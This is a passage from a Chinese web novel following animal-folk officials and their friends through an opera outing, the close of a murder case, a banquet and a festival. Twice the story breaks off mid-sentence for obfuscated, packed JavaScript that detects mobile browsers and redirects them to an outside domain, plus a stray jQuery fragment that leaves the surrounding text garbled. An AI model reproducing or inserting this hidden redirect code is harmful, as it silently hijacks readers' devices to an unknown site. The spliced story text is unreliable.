虽无弯弯睫毛的修饰,可当她抬起眼眸,那双澄澈的眼中倒映出他的身影时,安德鲁心中猛然一颤——在这漫天飞沙的北方荒原,他遇见了属于自己的春天,那是一抹足以驱散所有阴霾的温暖。 “妙妙,想上街去吗,听说街上来了戏班子。”安德鲁双手抱臂,语气里隐隐带点期待,:“听完我们还可以去到处逛逛。” “是嘛!那太棒了!”方妙兴奋跳下树,她对听戏不是很感兴趣,但是她喜欢和安德鲁逛街,因为安德鲁会给她买一切她喜欢的,虽然她也不知道为什么安德鲁会对自己那么好。 “那走吧,美丽的小姐。”安德鲁低头俯下身试探性地伸出手。 “噗哈哈你从哪学的?”方妙不觉奇怪,大方地牵住安德鲁的手。 “唔,江知烨那家伙。”安德鲁耸耸肩,语气无奈,手心里温热细腻地触感让他心头一颤。 “你还信他?得了吧,他自己还是个雏儿呢!” “他看起来挺油嘴滑舌的,而且,他的办法你看起来也挺开心的,我想那我就是成功的。” 安德鲁牵着方妙来到街市上,对于在和小姑娘相处的情况下,他总是把最纯真的感情留给她,又或许他本身就是这样的人,只是这个世界不容他保持本性,只有在方妙身边他才能歇一歇,喘口气。 溽暑如沸,长街蒸腾着蜜色雾霭。 安德鲁踏着重若千钧的步伐穿行其间,兽类特有的威压如玄铁铸就的屏障,所过之处行人纷纷敛息避让,自动铺就一条通往云深处的坦途。 狮尾自然地缠上少女纤细的腰肢,带着独占的意味。 方妙仰首望着鎏金匾额,发丝随风飘动。她总觉今日安德鲁的手掌格外灼热,却不知那双暗紫瞳孔里翻涌着化不开的情愫——这迟钝的姑娘怎会懂得,每个亲昵动作都藏着欲说还休的心事。 忽闻街角传来裂帛般的羯鼓声,惊起檐下喜鹊扑棱棱掠过青瓦。人群如潮水漫过戏棚,红绸帷幔在推搡间猎猎作响。蟒袍玉带的戏子尚未登台,喝彩声已如春雷炸响。 方妙踮着绣鞋徒劳张望,额前泛起薄汗,眼前却只剩层层叠叠的后脑勺。安德鲁垂眸望着她失落的侧脸,喉间溢出一声轻笑,带着不容抗拒的力道将她往雕花木楼带。 “云来阁”二楼的湘妃竹帘尽卷,鎏金栏杆泛着温润的光泽。小二刚放下青瓷茶盏,檀木窗棂便被推开,裹挟着丝竹声的暖风扑面而来。楼下戏台全貌豁然展现,朱漆廊柱上缠绕着新绿藤蔓,戏台中央悬着的琉璃灯将金丝帷幕照得通明。 陡然间锣鼓骤停,一抹茜色水袖如惊鸿破帘而出。旦角踩着鼓点款步登台,凤冠上明珠摇曳生姿,恍若银河倾泻在鬓边。 她启朱唇轻吟:"原来姹紫嫣红开遍——"水磨唱腔婉转如泣,尾音拖着九曲回肠,在雕梁画栋间盘旋三匝才堪堪坠落。台下骤然寂静,连茶盏相碰的脆响都清晰可闻。 方妙攥着茶盏的指尖发白。台上杜丽娘莲步轻移,水袖翻飞间似有落英纷飞,眉眼含情处比三月桃花更艳。 "良辰美景奈何天"一句唱得肝肠寸断,尾音里带着颤栗的哭腔,惊得安德鲁不自觉握紧了扶手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694739|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光影在戏台上流转,将旦角的神情勾勒得惊心动魄:垂眸时眼睫如蝶翼微颤,仰首时眉间凝着化不开的哀愁,每个眼神都似浸着千年情思。 "这便是《牡丹亭》?"方妙转头询问时,鬓边碎发扫过安德鲁手背,“真好看啊!” 戏台之上,杜丽娘与柳梦梅在梅树下重逢,锣鼓声再起。 而云来阁的雅座里,安德鲁的目光始终停驻在比戏文更动人的景致上——那双因沉醉而泛起水光的眼眸,那抹被茶香氤氲的笑靥,才是他此生最不愿落幕的戏..... 戏曲结束,方妙牵着安德鲁转过九曲回廊,忽见胭脂铺前围满仕女。 方妙左右张望,琳琅珠翠映得她眸光流转。"安德鲁你瞧!"她像发现珍宝般举起一支缠枝玉簪,羊脂白玉雕成的玉兰在阳光下泛着柔光,"这并蒂花雕得栩栩如生,可惜..."话音未落,指尖已无意识抚过耳际弯翘的短发。 兽人的喉间溢出轻笑,骨节分明的手指已取过檀木匣里的银铃铛发绳。 "换这个试试?"安德鲁半俯下身,温热的呼吸拂过少女耳畔,指尖灵巧地将铃铛系在垂落胸前的双辫上。 银铃轻晃,叮咚声响似清泉击石,撩的安德鲁心中荡漾。 方妙原地旋了个圈,淡荷色裙摆绽开如莲。"当真是好看!"她笑靥如花,鬓边碎发随着动作轻扬,"这铃铛声清脆,倒像是..." "倒像是我给你的寻魂铃。"安德鲁忽然凑近,"往后无论你在天涯海角,只要铃铛一响——"他故意拖长尾音,看着少女骤然睁大的眼眸,"我便踏着月色来寻你。" "这话也是跟江大人学的酸话?"方妙挑眉,指尖戳了戳他紧绷的胸膛。 "是...是从画本子里瞧的。"安德鲁尴尬挪开眼。 "原来如此。"少女狡黠地眨眨眼,"怪不得近日总见你捧着线装书躲书房,敢情是在偷师?" "冤枉!"安德鲁慌忙摆手,"那《鸳鸯谱》分明是江知烨私藏,我不过偶然..."声音越来越小,直到彻底没音。 “啊切!”——此刻远在乱葬岗忽传来清越的喷嚏声。江知烨望着熊熊燃烧的花君子残躯,揉了揉鼻尖喃喃自语:"莫不是有人咒我?" 方妙笑得直不起腰,素手捏了捏安德鲁脸颊:"罢了罢了,下次看话本可要带上我。"话音刚落,街角传来糖葫芦的吆喝声,琥珀色的糖浆在微风里泛着甜香。 方妙见状眼睛一亮,拽着安德鲁便要跑去买糖葫芦,却正好和好不容易连夜赶回南清城的顾时夜与顾夜白两人遇到。 迎面而来的顾时夜与顾夜白兄弟俩,此刻活像从乱葬岗爬出来的孤魂。 顾夜白头发凌乱如鸡窝,半张脸被背上蝙蝠兽人的腐烂翅膀糊住,腐肉滴落的汁水在他玄色劲装上晕开暗红痕迹。 顾时夜也好不到哪去,肩头扛着的尸体正顺着他的脖颈往下淌着黏腻的鲜血,在他冷硬的五官上蜿蜒出诡异的纹路。 "子规姐!"顾夜白双眼放光,全然不顾身上的可怖景象,扑棱着就要上前拥抱。 方妙以迅雷不及掩耳之势向后蹦出三尺,捏着鼻子皱起眉,指尖嫌弃地指着顾夜白背上那具散发着恶臭的尸体:"停!这位壮士,你身上的''香气''着实霸道,熏得人七窍生烟!" 闻言顾夜白苦着脸哀嚎:"可不是嘛!这一路我差点被熏晕过去,隔着十里地都能招来野狗!"他夸张地抖了抖肩膀,尸体上的蛆虫簌簌掉落,惊得周围摊贩纷纷避让。 顾时夜倒是沉稳些,将肩上同样腥臭的尸体调整了个位置,目光扫过方妙鬓边新系的铃铛发绳,又瞥见安德鲁耳尖未褪的红晕,唇角勾起一抹促狭的笑:"子规姐好雅兴,当真是''只羡鸳鸯不羡仙''啊!话说江大人呢" "他在处理花君子的烂摊子呢。"方妙没有听出顾时夜话里的意思,手里晃着糖葫芦,语气轻快得像在说件趣事,"不过安德鲁刚说了,案子结了。" "什么?!"兄弟俩异口同声地惊呼,顾夜白背上的尸体都跟着抖了抖。 顾夜白气得跳脚,差点把背上的尸体甩出去:"这么草率?我们连夜翻山越岭,背着这两具臭皮囊赶回来,结果你告诉我案子结了?!"他委屈地指着尸体,"你看看!这腐烂的翅膀、发绿的獠牙,我一路上被多少野狗追!" 安德鲁强忍着笑,一本正经地解围:"两位辛苦了,尸体先带回去吧,说不定江大人还能用得上。不过......"他挑眉扫过两具惨不忍睹的尸体,"怎么都死了?" 兄弟俩对视一眼,同时打了个寒噤。 顾时夜干咳两声,顾夜白则突然指着远处:"啊!兄长快看!那只猫叼走了你的钱袋!" 趁着众人分神的瞬间,两人脚底抹油,扛着尸体落荒而逃,只留下一路飘散的腐臭味。 方妙望着他们狼狈的背影,笑得直不起腰:"江知烨看到这两具''大礼'',怕是要气到掀桌子。"她凑近安德鲁耳边,温热的气息拂过对方泛红的耳尖,"要不要赌一赌,他会不会把这俩倒霉蛋丢进护城河?" 安德鲁唇角勾起一抹坏笑:"实在不行,我明日就贴告示招新属下——要求第一条,必须受得了尸臭味。" "你可真损!"方妙拍了拍安德鲁的胳膊,"走!听说今晚的夜市有猜灯谜、放河灯,还有糖人师傅能捏出会动的小兽!干脆我们不回去了继续玩。"说罢,少女雀跃地离去,安德鲁只好无奈又宠溺地摇头。 他快步跟上那抹灵动的身影,仿佛怕这只欢快的雀儿飞远了。 远处,花灯如星河倾泻,此起彼伏的叫卖声里,隐约传来顾夜白的哀嚎:"哥!我的鞋陷进泥里了!"引得路人纷纷侧目,而这对璧人早已淹没在璀璨灯火中,只留下一路清脆的银铃声。 8. 一起吃个饭 "所以你们的意思是?这人把这个家伙杀了,然后自刎了?"江知烨屈身坐于雕花檀木椅,十指交叠轻叩下颌,狐疑地打量眼前两个人。 几分钟前,他刚踏着满地落叶跨进厅堂,身上还带着几缕乱葬岗的腐土气息。 屈指弹落肩半片枯槁的槐叶,目光就如鹰隼般扫过案前两具形态迥异的尸体——左侧是个面目狰狞的蝙蝠兽人,翼膜已经腐烂得如同破絮;右侧的猫族兽人却保持着近乎完美的体态,毛发间甚至还夹杂几根枯草。 "是的,大人!亲眼所见!"顾夜白脖颈青筋暴起,脸色却白得瘆人。 他身后的顾时夜攥着衣角,喉结不住滚动,像是吞下了满嘴碎冰。 江知烨缓步踱至两具尸首旁,突然俯身,指尖捏开蝙蝠兽人的下颌,腐臭气息扑面而来:"两颗犬牙...." 话音未落,手已探入猫族男人的衣襟,几块羊脂玉坠子叮咚坠地。 江知烨拈起染血的弯刀,刀刃映出他勾起的嘴角:"一寸宽,血槽呈蝎尾钩状,正合蝙蝠兽腹上的伤口。"刀尖轻点蝙蝠兽人腹部的伤口,腐肉翻卷间露出与刀刃契合的弧度,却又突然转向猫族兽人脖颈处那道细如游丝的剑痕:"这伤口......倒像是青锋剑所留。" 顾夜白兄弟二人脸色瞬间煞白如纸。还未等他们开口辩解,江知烨已如鬼魅般欺身上前,骨节分明的手掌精准扣住两人羽翼根部的命穴。 "你们说......"江知烨俯身时,耳边的白发擦过顾夜白耳畔,带着血腥味的呼吸喷洒在他敏感的后颈,"怎么......"尾音拖得极长,像毒蛇吐信,"回事呀---" 话音未落,顾夜白已拖着顾时夜夺门而逃。 他们跌跌撞撞地奔过九曲回廊,衣袂带起的风掀翻了晾晒的卷宗,泛黄的纸张四散飘落。 "大人!我们错了!"顾夜白的声音带着哭腔,他回头望见江知烨手中晃动的鎏金鸟笼,笼上雕刻的衔珠瑞兽仿佛都在狞笑。 兄弟二人慌不择路,撞开档案室的雕花木门,顾时夜几乎是将弟弟塞进檀木柜,自己蜷着身子挤进去时还碰倒了满架的竹简。 江知烨举着鸟笼闲庭信步,靴跟敲击地面的节奏越来越慢。 他伸手抚过散落满地的卷宗,指尖在"玄铁兵器失窃案"的密档上顿了顿,突然轻笑出声:"躲得过初一,躲得过十五?"说罢甩袖而去。 而理尚府档案房的檀木柜里,兄弟两蜷缩成两团瑟瑟发抖的羽毛。顾夜白牙齿打颤:"哥...这次怕是要被挂到望星楼..."话音未落,窗外突然传来铁笼摇晃的声响,惊得两人同时噤声。 远处传来江知烨漫不经心的哼曲声,伴着渐远的脚步声,惊起檐角归巢的寒鸦.... 月过中天时,理尚府的梧桐树影里,两个金灿灿的鸟笼在夜风中轻轻摇晃。 笼中蜷缩的身影偶尔发出细微呜咽,树下的狸花猫正悠闲地舔着爪子,琥珀色的眼睛在黑暗中泛着幽光。 ....... 直到卯时三刻,金乌初升,晨晖斜斜穿过雕花窗棂。 江知烨才推开朱漆木门,抬手舒展筋骨,望着檐角渐渐透亮的天色。 自子时挑灯理案,案头叠着的密档已被朱砂批注得密密麻麻,总算拼凑出个大概:那作恶多端的蝙蝠兽人,竟暗蓄血奴,觊觎着南市卖米酒年糕的兔族少女。少女宁死不从,招来杀身之祸,而猫族兽人横插一手,背后究竟是护花之举,还是另有图谋?那就不得而知了。 但那又能怎么样? "不过是给世人个交代罢了。"江知烨摩挲着腰间的鎏金令牌,嘴角勾起一抹意味深长的笑。 世人哪管真相如何,只要有个说得通的案由,便能堵住悠悠众口。 江知烨循着树枝间传来的微弱呜咽声望去,忽见树下立着道墨绿身影。 柳漠澜倚着斑驳树干,本该缠着绷带的小臂此刻光洁如玉。笼中两只乌鸦耷拉着羽翼,尾羽沾满草屑,见他走近,立刻发出惊恐的"嘎嘎"声。 "柳老板这是伤愈了?"江知烨眯起眼,目光扫过正常摆动的手臂,明明医馆的人说断了,居然可以几日就恢复好。 柳漠澜把玩着垂落的发丝,忽然歪头看向摇晃的鸟笼:"江大人的惩戒手段,倒是比刑部的铁索更见巧思。"他唇角勾起抹意味深长的笑,突然欺身上前,竹叶香混着酒香气息扑面而来:"听闻大人已结案?" 江知烨后知后觉地想起什么,喉结不自觉滚动:"柳老板莫不是......" 话音未落,便见对方葱白指尖轻点他胸前盘扣:"当初大人说''亲自补偿我'',可还记得?"柳漠澜突然仰起头媚眼如丝,温热呼吸拂过耳畔:"过来些,我告诉你想要什么。" 毫无防备的江知烨刚俯下身,一股裹挟着竹香的劲风已劈面而来!"啪"的脆响惊飞满院麻雀,江知烨踉跄着后退三步,撞翻石桌上的青瓷茶盏。 咸腥的血味在舌尖炸开,三颗带着牙床碎肉的犬齿落在掌心,泛着鲨鱼族特有的蓝白色泽——这副利齿本就极易脱落,新牙不过半月便可重生。但江知烨震惊的不是这个,而是柳漠澜居然敢这样。 空气凝滞的刹那,江知烨突然低笑出声。 血腥味刺激着鲨鱼族的本能,他望着掌心寒光闪烁的牙齿,舌尖抵着肿胀的腮帮,竟品出几分异样的畅快。 柳漠澜袖口残留的竹香混着血腥气,比记忆中咸涩的海水更令人着迷。 "柳老板这掌,可比那女儿红还烈。"江知烨倾身逼近,"若还未尽兴,江某这张脸,随时恭候大驾。"树影婆娑间,两只乌鸦在笼中瑟瑟发抖,而柳漠澜望着眼前人泛红的眼角,终于确定..... 这人有不正常的癖好! 待等到脑子清醒后,江知烨才发觉问题的不对,他望着镜中三颗尖齿缺失的黑洞,喉间发出困兽般的低鸣。 "柳老板!"江知烨突然转身,"你瞧瞧这......往后如何登堂办案?"他刻意咧开嘴,缺牙漏风的话音里带着委屈。 见状柳漠澜佯装端详,指尖点在唇角强压笑意:"这虎牙缺得别致,倒衬得江大人......"他瞥见对方骤然眯起的眼,话锋一转,"颇有几分天真烂漫。"话未说完,忽见江知烨眸光骤亮,像发现猎物的鲨鱼般盯着他唇角。 "柳老板这掌,可是要断我仕途啊。"说罢江知烨突然欺身逼近,"不过柳老板可知自己,说谎时蛇信会不自觉吐露?" 闻言柳漠澜已条件反射地捂住嘴,绯红从耳尖漫到脖颈,他这才想起蛇族与生俱来的习惯。 江知烨见状放声大笑,他伸手拍向对方肩头,却在触及墨绿袍时顿住——这才惊觉自己掌心里还沾着血渍。 "倒是我唐突了。"江知烨笑着擦去掌心血痕,眼底却闪过狡黠,"不过柳老板取笑我,可是被我逮到了!说罢,要怎样赔罪?" 柳漠澜挑眉睨他,指尖绕着发味转了个圈:"江大人这是恶人先告状?"余光瞥见铜镜里那人缺牙漏风的模样,终是没忍住笑出声,"倒像是糕点铺里新制的芝麻酥,咬一口......"他故意拖长尾音,换来江知烨佯怒的瞪眼。 "那晚间我们几个在客来香设宴咋样。"江知烨忽然揽住他腰间,"就当是赔你个不是。"说罢又凑近几分,温热的龙涎香气息混着血腥味拂过耳畔,"顺便......让柳老板见识见识,没了牙的鲨鱼如何生吞活剥。" "既如此,"柳漠澜轻挑眉梢,"江大人可要备好醒酒汤。我这杯中之物,可不像你那些文书卷宗般好应付。" 江知烨闻言抚掌大笑,碎发随着动作轻颤:"求之不得!今夜酉时,我定备八抬软轿,迎柳老板共赴这''不打不相识''的宴!柳老板只管盛装赴宴,让我瞧瞧,是你的银簪夺目,还是我的缺牙......"话未说完,已被柳漠澜甩来的帕子击中面门,惹得笼中乌鸦都"嘎嘎"叫着扑棱翅膀。 "这话说的,是想要在我酒里下蒙汗药?" "冤枉!"江知烨夸张地抚胸,缺牙的口齿说话漏风,"不过是想与柳老板''以武会友'',共赏这......"他忽然凑近,嗓音低沉暧昧,"良辰美景。" "没个正形。"柳漠澜轻轻拉开身距"江大人是想尝尝我这竹叶青的剧毒了? "话落甩袖转身,锦袍掠过门槛时,他微微偏头的回眸一瞥一笑,晃了江知烨的眼。 直待那抹身影消失在视线里,江知烨才回过神,摸了摸空荡荡的齿穴,突然低笑出声。想起柳漠澜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694740|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠厉带点蛊惑的眼眸,忽觉这桩血案结得妙极——至少,得了个有趣的酒友。 ......... 夜晚,南清城华灯初上,画楼飞檐垂落万点金辉。江知烨立在"花月满人间"朱漆门前,腰间银铃随着夜风轻晃,叮当作响。 忽一抹白绿相间的身影从月洞门转出,柳漠澜今日换了月白襕衫,外罩葱绿云锦半臂,乌发高束成凌云髻,两缕墨丝垂落肩头。耳畔红流苏随着步伐轻晃,与往日慵懒的模样判若两人。 "柳老板这是要艳惊四座?"江知烨绕着人转了半圈,腰间十二枚鎏金铃铛齐齐奏响,"这般风采,怕是要引得满城女儿家春心萌动。" 柳漠澜挑眉打量眼前人,红黑相间的织锦长袍缀着银铃璎珞,走动间叮当作响,雪色发丝随意披散,倒衬得那双碧蓝眼眸愈发潋滟。"江大人这身行头,倒像是要去赴瑶池蟠桃宴,也不怕招来宵小觊觎?" "我这叫金玉满堂,喜气盈门!"江知烨夸张地展开双臂转了个圈,腰间铃铛声骤然清脆,"何况有柳老板作陪,便是遇到毛贼,怕也是有来无回。"说罢熟稔地揽住柳漠澜肩头,引得周围行人频频侧目。 拾级而上时,柳漠澜瞥见江知烨腰间暗绣的缠枝莲纹,与自己袖中露出的同款银香囊遥相呼应,唇角不自觉勾起一抹笑意。 三楼雅间内,五人围坐的雕花圆桌摆满珍馐。翡翠白玉羹腾起袅袅热气,醉仙鸭表皮泛着琥珀光泽。 江知烨携着柳漠澜踏入时,安德鲁正转动着鎏金酒盏,白鸽垂眸擦拭佩剑,方妙则趴在栏杆上瞧着楼下的走马灯。 "诸位久候了。"江知烨抬手示意,"这位便是''花月满人间''的柳老板,想必各位都有所耳闻。"柳漠澜敛衽行礼,举止间自有一派清雅气度。 "这位是安德鲁大人,我的顶头上司;白鸽,安德鲁大人的得力助手;方妙,如今在我麾下当差;这两位是顾氏兄弟,兄长顾时夜,弟弟顾夜白,一个是捕快,一个是捕头。" 见状方妙连忙拍着身旁空位,笑得眉眼弯弯:"坐我这坐我这!" 闻言柳漠澜颔首致谢,刚落座,便听安德鲁突然开口:"知烨,你那牙呢?" 雅间内霎时寂静,众人目光齐刷刷落在江知烨唇畔。 只见这位素来风流不羁的江大人脸色骤变,哀怨的目光直直投向柳漠澜。 而罪魁祸首却悠然拈起一块桃花酥,咬下时酥皮簌簌落在青瓷碟上,仿佛全然不知周遭目光。 以至于宴席间,江知烨始终捂着嘴说话,连最爱的糖醋鲤鱼都只敢小口抿。 安德鲁却不依不饶,将夜光杯推到他面前:"来,敬柳老板一杯。"顾氏兄弟与方妙纷纷起哄,唯有柳漠澜慢条斯理地品着碧螺春,眼尾笑意藏在袅袅茶烟里。 江知烨盯着杯中琥珀色的琼浆,喉结上下滚动,不确定地又看了看安德鲁,却见对方眼神里满是促狭:"江大人这是不给面子?" 闻言江知烨也不敢拒绝,索性心一横,闭着眼仰头一饮而尽。 当烈酒入喉,不一会,只见江知烨白皙的脸颊迅速染上绯色,眼眸泛起水雾。 安德鲁终于憋不住笑出声:"以前办案庆功,我好奇灌了他一杯......谁料平时一副吊儿郎当的,酒后竟..." 话音未落,江知烨突然拍案而起,"瞎说!"随后突然脚下一软,被眼疾手快的柳漠澜扶住,酒气混着龙涎香扑面而来。 而方妙早已笑得前仰后合,掏出帕子擦着眼泪:"那我可明日定要找人画张画像挂在卧房!到时候好要挟他了,你说是不是?" 众人哄笑间,柳漠澜已扶着醉醺醺的江知烨坐下,指尖轻轻叩了叩桌面:"江大人若是再闹,明日可别后悔。" 这一句倒像是触动了什么开关,江知烨突然攥住柳漠澜的衣袖,眼神真挚得惊人:"柳老板...你说...我这新做的衣裳...可配得上你今日的打扮?" “江大人醉的不轻呢。”闻言柳漠澜浅浅一笑,并没在意。 "谁说我醉了!"江知烨突然提高音量,吓得柳漠澜一愣,但下一秒他就被一把搂住脖颈。 "漠漠...你今天真好看..." 声音很小,只有彼此可以听见。 9. 百戏节 “老板,这珩璜要价几何?”方妙立在一家玉铺前,葱指拈起一枚羊脂玉珮,脆生生问道。 此次前来她是想给安德鲁寻一件合适的礼物作为平日的报答。 铺主抬眼打量眼前天真烂漫的少女,浑浊的眸中闪过一丝狡黠,随即假意关切道:“小娘子莫不是头一回购置玉器?不知是自戴赏玩,还是赠予他人?” 方妙毫无防备,笑容明媚回应:“正是送人,我想选件称心的礼物。” “原来如此!”铺主似是抓住了机会,赶忙从锦盒中取出一对双鱼佩,那玉佩上双鱼栩栩如生,相互缠绕,在阳光下流转着迷人的光泽,“这可是昆仑山下千年老坑料,雕工更是一绝。"话音未落,他突然压低嗓音,"您瞧这对''比目同心佩'',最宜赠予良人。看姑娘面善,二百两纹银,权当交个朋友。" “二百两?”方妙秀眉轻蹙,虽说她不通玉器行情,却也知晓玉石珍贵,这价格远超她的预算。 而且前日江大人刚教过她银钱换算,二百两足够寻常人家两年用度。 可一想到安德鲁平日里的种种照顾,那双真诚的眼眸仿佛就在眼前,犹豫片刻,她还是咬了咬牙,伸手欲取荷包。 就在这千钧一发之际,突然一道颀长的身影笼罩下来,一只骨节分明、白皙如玉的手,稳稳扣住她的手腕。 方妙惊愕抬头,只见柳漠澜不知何时已立于身侧,对方嘴角噙着一抹若有似无的笑意,优雅从容地接过玉佩,细细端详:“老板,在下虽非玉器行家,却也略知一二行情。这玉是有三分水头,不过怕是不值二百两纹银吧?西街老周头收的同成色玉佩,不过八十。” 铺主脸色骤变,神色慌张,却仍强装镇定:“客官说笑了,小店一向童叟无欺,诚信为本!” "既如此。"柳漠澜漫不经心地将玉佩推回去,"小丫头,咱们且去''集珍斋''瞧瞧。" "哎哎留步!"掌柜的急得绕过柜台,"一百五!一百五总行了吧!" "八十。"柳漠澜头也不回。 "成交!"掌柜的抓起算盘猛拍桌面,震得铜算珠乱跳。 “多谢老板。”柳漠澜浅笑,示意方妙付钱。 见状方妙满心欢喜,小心翼翼地将玉佩收入怀中,转身对着柳漠澜深深一福:“谢啦柳老板!” 随即二人并肩漫步于街头,柳漠澜率先打破沉默:“为何独自一人来买玉佩?你家大人呢?” 方妙眨了眨灵动的眼眸,如实相告:“安德鲁去曹水码头不知道干嘛去了,江大人又去处理案子了。对了柳老板,你很懂玉嘛,你刚才那样太气派了!” 柳漠澜轻笑一声,摇了摇头:“我对玉器一窍不通。只是那老板每句话都在套你底细,明显‘宰客生’,没想到你竟如此轻信于人。” 方妙俏脸微红,有些不好意思地撇嘴:“我确实是头一回买玉佩,平日里也只专注于觅食,哪懂得这些弯弯绕绕。” “如此看来,你倒是清闲得很。” “也不尽然,我主要负责缉拿犯人,其余时候便在城中闲逛。”说到此处,方妙眼眸放光,“我可尝遍了南清城的各色美食,每一处美味都了如指掌!”话音刚落,她的肚子便不合时宜地发出一阵“咕噜”声,仿佛在抗议主人的忽视。 柳漠澜忍俊不禁:“看来是勾起你的馋虫了?” “嘻嘻,起晚了,本来打算上街买点的。” “也罢,今日也算有缘,我请你吃顿好的。” 方妙双眼瞬间亮如星辰,兴奋得原地跳了起来:“真的吗?柳老板大恩大德,小女子没齿难忘!那日后你便是我的大哥,我给你当跟班!” 闻言柳漠澜无奈地摇摇头,“请你吃个饭,你倒是变脸来的快。” “哎呀,柳老板一看就面善,肯定不会害我的对吧!” “你倒是和你家大人一个德行。”不知为何,柳漠澜脑海里浮现出某人的样貌。 随后两人来到一座飞檐斗拱、气势恢宏的楼阁前,匾额上“陶然馆”三个鎏金大字熠熠生辉。 一踏入馆内,雕梁画栋,古色古香,空气中飘散着若有若无的檀香与美食香气,方妙一时看愣了神。 “柳老板大驾光临!”掌柜的满脸堆笑,小跑着迎上来,“今日带了贵客?小店新研制了几道佳肴,要不要尝尝鲜?” 柳漠澜微微颔首:“老位子。” “好嘞!马上安排!”掌柜的应了一声,急忙吩咐后厨。 随即方妙跟在柳漠澜身后,来到二楼一间幽静雅致的雅间。 屋内陈设简约大气,窗外九里香花开正盛,淡雅的花香随风飘入,阳光透过花枝,洒下斑驳光影,将屋内映衬得静谧祥和。 “柳老板常来此处?瞧这待遇,定是贵客无疑!”方妙好奇地东张西望,忍不住问道。 柳漠澜优雅地为自己斟了一杯香茗,轻抿一口:“不过是有些生意往来罢了。” 方妙犹豫片刻,神色有些局促:“柳老板此番请我用餐,当真是碰巧?上次……”她想起之前发生的种种,心中满是愧疚,手指不自觉地在檀木桌上画着圈。 柳漠澜似是看穿了她的心思,打趣道:“自然是想让你心怀愧疚,与你交好,不就等于与官府攀上关系了?倒是方姑娘,那日把我扔出三丈远时,是没想到今日会坐在这里,还会与我单独用饭?” “哼,若不是你……”方妙话未说完,房门便被推开,一众小厮鱼贯而入,手中端着造型精美、香气四溢的菜肴。 每一道菜都独具匠心,或造型别致,或色泽诱人,方妙看得两眼发直,口水都快流下来了。 待菜肴摆满一桌,方妙也不再客气,拿起象牙筷,大快朵颐起来。 看她吃得欢快,腮帮子鼓得圆圆的,柳漠澜嘴角也不自觉地上扬,心中竟生出几分愉悦,也拿起筷子,细细品味起美食来。 很快一顿饭在无声中结束,鎏金掐丝的宫灯在雕花木梁上轻轻摇晃,将最后一道蟹黄豆腐的油光都映得流光溢彩。 方妙心满意足地靠在椅背上,双手轻轻拍打着圆滚滚的肚子,脸上洋溢着幸福的笑容,头顶的熊耳朵欢快地动着。 柳漠澜优雅地用一方绣着墨竹的素帕擦拭嘴角,眸光流转,带着几分调侃:“真没想到,你这娇俏的小丫头,竟有如此惊人的胃口,着实让人羡慕。” "那是自然!"方妙腾地坐直身子,发间银铃发出清脆地响声,"我在漠北时,啃的都是硬得硌牙的麦饼,哪见过这等玉盘珍馐?"她忽地凑近,杏仁眼亮晶晶的,呼出的气息裹着桂花酿的甜香,"你知道嘛,我们那连水都是混着沙子的!" 柳漠澜微微挑眉,眼中闪过一丝惊讶,随手将青瓷盏搁在冰裂纹的茶托上 :“原来你是北方来的?我听闻那里气候严寒,生活颇为艰苦。” "没错!安德鲁也是从北方来的,不过他比我早到南清城一些时日。"方妙说着,突然眼睛一亮,像是想到了什么绝妙的主意,“对了,柳老板,下次我请你品尝南清城的街头小吃当作回报如何?” 柳漠澜刚要开口拒绝,话到嘴边又咽了回去。他微微颔首,沉吟片刻后说道:“如此,倒也不错。我平日里鲜少接触这些街头美食,此番倒可一试。” “那就说定了!”方妙兴奋地拍手,眼中满是期待,“再过几日就是百戏节了,到时候会有好多好玩好吃的!我们一起去玩吧!” 柳漠澜唇角勾起一抹温柔的笑意,轻声说道:“那我便拭目以待了。” 而几日时间很快流逝,备受期待的百戏节便如期而至。 这一天,南清城全城沉浸在狂欢中。街头巷尾到处是杂耍,皮影戏,傀儡戏等表演,叫好声此起彼伏。美食集市各种特色小吃琳琅满目,锣鼓声、欢笑声、叫卖声交织在一起,汇成了一曲热闹非凡的节日乐章。 柳漠澜站在酒楼二楼的栏杆旁,目光平静地俯瞰着这热闹非凡的景象。 "柳老板!"少女双手拢在嘴边,声音穿过蒸腾的糖画香气和喧天锣鼓,"莫要做那画中仙,快下来!" 柳漠澜轻笑一声,踏着红漆楼梯缓步而下,见状方妙立刻蹦到跟前,鬓边新换的茉莉还沾着晨露,在阳光下泛着柔光:"江大人说要去云锦戏台,顾夜白和顾时夜也跟着去了,也不知捣什么鬼!" 她忽而压低声音,眼波流转,"不过听说今日有神秘戏法,柳老板可要同我一探究竟?"说罢,她不由分说挽住安德鲁的胳膊,另一只手扯住柳漠澜的衣袖便往人潮里钻。 要说这百戏节,不能说是一年之中最震撼的节日,但确是最让人激动的,毕竟很多表演不是时刻都可以看到的,很多人一年就期待这一天,柳漠澜确实也被这景象惊到了。 "快来看!快来看!"拐角处的铜锣敲得震天响,方妙激动的指着远处,只见三丈高的白布幕上,皮影将军骑着纸扎战马横冲直撞,手中长□□破半空中悬挂的灯笼,火星子"噼里啪啦"往下掉。 还没等柳漠澜回过神,街头突然炸开串鞭炮。八人抬的金龙轿子横冲直撞而来,轿帘掀开,里头钻出个戴狐狸面具的女子,裙摆缀着的铜铃响得人心发颤。她踩着鼓点绕场三周,猛地跃上三丈高的刀山,赤足踩在刀刃上翩翩起舞,发间银饰晃得人睁不开眼。人群彻底疯了,叫好声浪头般一波接一波,震得街边酒旗都簌簌发抖。 